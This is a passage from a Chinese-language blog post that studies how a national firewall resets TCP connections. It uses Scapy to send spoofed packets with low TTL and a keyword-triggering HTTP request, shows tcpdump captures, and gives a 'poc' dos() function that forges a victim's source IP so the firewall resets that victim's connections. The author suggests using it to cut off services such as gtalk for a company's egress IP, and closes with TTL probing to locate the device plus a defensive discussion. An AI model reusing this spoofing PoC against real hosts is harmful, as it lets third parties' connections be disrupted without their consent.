>>> send(IP(dst=”64.233.189.103″,src=”121.121.121.121″,ttl=10)/TCP(dport=80,sport=2222,flags=”P”,seq=1234568)/”GET /q=freenet/freenet&oq=&aqi=1 HTTP/1.1″)

甚至可以利用这个对其他的应用如gtalk进行dos,我们只要知道某个公司的出口ip,然后罗列gtalk的使用ip和端口就可以做到,非常简单,现在很多的网站往国外搬,那你有不有考虑本文提到的风险呢?有的公司甚至将Mail服务器放置在国外……
但是也可以看到,我们已经实现将后续的链接断开,因为tcp链接序列号的未知性,利用上面提到的貌似还不能让已经建立完成的tcp链接reset,但实际上这款有爱的过滤系统已经帮我们想到了,同时用nc跟Google建立两个链接,在其中一个链接里触发规则,然后在另一个无辜的链接只要被防火墙发现,就会立刻被reset了,看如下的抓包:

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
20:26:52.574643 IP (tos 0×0, ttl 64, id 55786, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60949 > 64.233.189.147.80: S, cksum 0×339b (correct), 1962684567:1962684567(0) win 5840
20:26:52.617778 IP (tos 0×0, ttl 51, id 15574, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.147.80 > 114.249.114.249.60949: S, cksum 0×8801 (correct), 4247640462:4247640462(0) ack 1962684568 win 5672
20:26:52.617791 IP (tos 0×0, ttl 64, id 55787, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60949 > 64.233.189.147.80: ., cksum 0xcc7d (correct), 1962684568:1962684568(0) ack 4247640463 win 46

20:27:00.456284 IP (tos 0×0, ttl 64, id 60678, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60979 > 64.233.189.147.80: S, cksum 0×5ebc (correct), 1983571278:1983571278(0) win 5840
20:27:00.499066 IP (tos 0×0, ttl 51, id 4036, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.147.80 > 114.249.114.249.60979: S, cksum 0xc1d9 (correct), 816454471:816454471(0) ack 1983571279 win 5672
20:27:00.499074 IP (tos 0×0, ttl 64, id 60679, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60979 > 64.233.189.147.80: ., cksum 0×0656 (correct), 1983571279:1983571279(0) ack 816454472 win 46

20:27:18.827802 IP (tos 0×0, ttl 64, id 60680, offset 0, flags [DF], proto: TCP (6), length: 77) 114.249.114.249.60979 > 64.233.189.147.80: P, cksum 0×02a9 (incorrect (-> 0xd051), 1983571279:1983571304(25) ack 816454472 win 46
20:27:18.870912 IP (tos 0×0, ttl 51, id 4036, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 > 114.249.114.249.60979: ., cksum 0×76b1 (correct), 816454472:816454472(0) ack 1983571304 win 89
20:27:19.289520 IP (tos 0×0, ttl 64, id 60681, offset 0, flags [DF], proto: TCP (6), length: 53) 114.249.114.249.60979 > 64.233.189.147.80: P, cksum 0×0291 (incorrect (-> 0×6b05), 1983571304:1983571305(1) ack 816454472 win 46
20:27:19.334402 IP (tos 0×0, ttl 51, id 4037, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 > 114.249.114.249.60979: ., cksum 0×7315 (correct), 816454472:816454472(0) ack 1983571305 win 89
20:27:19.338648 IP (tos 0×0, ttl 52, id 64, offset 0, flags [none], proto: TCP (6), length: 40) 64.233.189.147.80 > 114.249.114.249.60979: R, cksum 0×0142 (correct), 816454472:816454472(0) win 29119

20:27:37.856781 IP (tos 0×0, ttl 64, id 55788, offset 0, flags [DF], proto: TCP (6), length: 67) 114.249.114.249.60949 > 64.233.189.147.80: P, cksum 0×029f (incorrect (-> 0×4d19), 1962684568:1962684583(15) ack 4247640463 win 46
20:27:37.900887 IP (tos 0×0, ttl 51, id 15574, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 > 114.249.114.249.60949: ., cksum 0×6aa0 (correct), 4247640463:4247640463(0) ack 1962684583 win 89
20:27:37.911380 IP (tos 0×0, ttl 52, id 64, offset 0, flags [none], proto: TCP (6), length: 40) 64.233.189.147.80 > 114.249.114.249.60949: R, cksum 0xd646 (correct), 4247640463:4247640463(0) win 4621

这个时候抓包的时候由于我换了服务器注意ttl已经跟之前不一样了,但是那个id=64露出了尾巴,前面三个包是第一个tcp链接,端口是60949,后面一个链接的端口是60979,下面的是60979触发规则被reset掉了,然后本来正常的第二个链接一旦发出了数据包就立刻被reset,充分证明了这个联动的迅速和及时:)
那我们就有了满篇废话之后的一个简单的结论,dos国内和国外的链接是可能的,无论是建立好的还是未建立的,在scapy里的poc函数如下:

def dos(srcip, dstip , tport ):
send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=”S”,seq=3334567))
send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=”A”,seq=3334568))
send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=”P”,seq=3334568)/”GET /?q=freenet/freenet HTTP/1.1\r\n\r\n”)
dos(”114.249.114.249″,”64.233.189.103″,80);

最后再说说前面的问题,如何在数据包完全被伪造的时候判断设备的物理位置,很明显,还是利用TTL:

>>> send(IP(dst=”64.233.189.103″,src=”121.121.121.121″,ttl=8)/TCP(dport=80,sport=2222,flags=”P”,seq=1234568)/”GET /q=freenet/freenet&oq=&aqi=1 HTTP/1.1″)

在ttl=8的时候,我们依然收到了系统的重置包,这样就可以判断数据包被旁路的位置了:)

0×03 后话

从技术角度来讲,避免这种方式的攻击会比较困难,防火墙作为一个安全设备是不能对正常的使用造成影响的,所以检测的方式来说还是比较被动,譬如不能实时的丢弃一个数据包,前面我就很奇怪为什么防火墙不直接丢弃发起链接的syn包或者发起非法链接的psh包呢,这是因为防火墙整个架构和设计造成的,整个数据包已经到达服务器了,他不能丢弃。同样,由于架构的原因,我们无法使同一条tcp的数据流永远经过同一个路由器同一个设备,所以我们无法对一个数据包的有效性做验证,而即使可以验证整个请求的有效性也可以看到,在防火墙两侧一起愚弄防火墙是多么容易的事情,跟以前的反弹穿透防火墙一样,利用ttl的差异我们一样可以bypass掉对一个数据包做真实的有效性验证,这里包括其他厂商的如Cisco等设备都可能会有这种问题。我不知道对于一个设备来说,抛弃一个ttl过小的包是否明智,防火墙是旁路在设备里,也无法对ttl比较小的包做到实时的丢弃,一旦发现发现有ttl过小的包肯定不能直接放过,因为可能别人就利用这个来bypass防火墙,那么必须对ttl过小的包做处理,处理包括响应rst链接要求重置,这的确会缓解本文提到的问题,但是不知道这么复杂的逻辑会不会带来新的问题,逻辑可能本身就是漏洞。在TTL之外,而相信其他的畸形的数据包一样可能造成设备处理上的失误,只要服务器和设备对数据包处理不一致就可以实现,而这种不一致性因为种种原因是非常多的。本文只是对学习的网络知识做了一次实践,感谢历来帮助我学习的同学,你们知道你们是谁:)

文章如转载,请注明转载自:http://www.5iadmin.com/post/190.html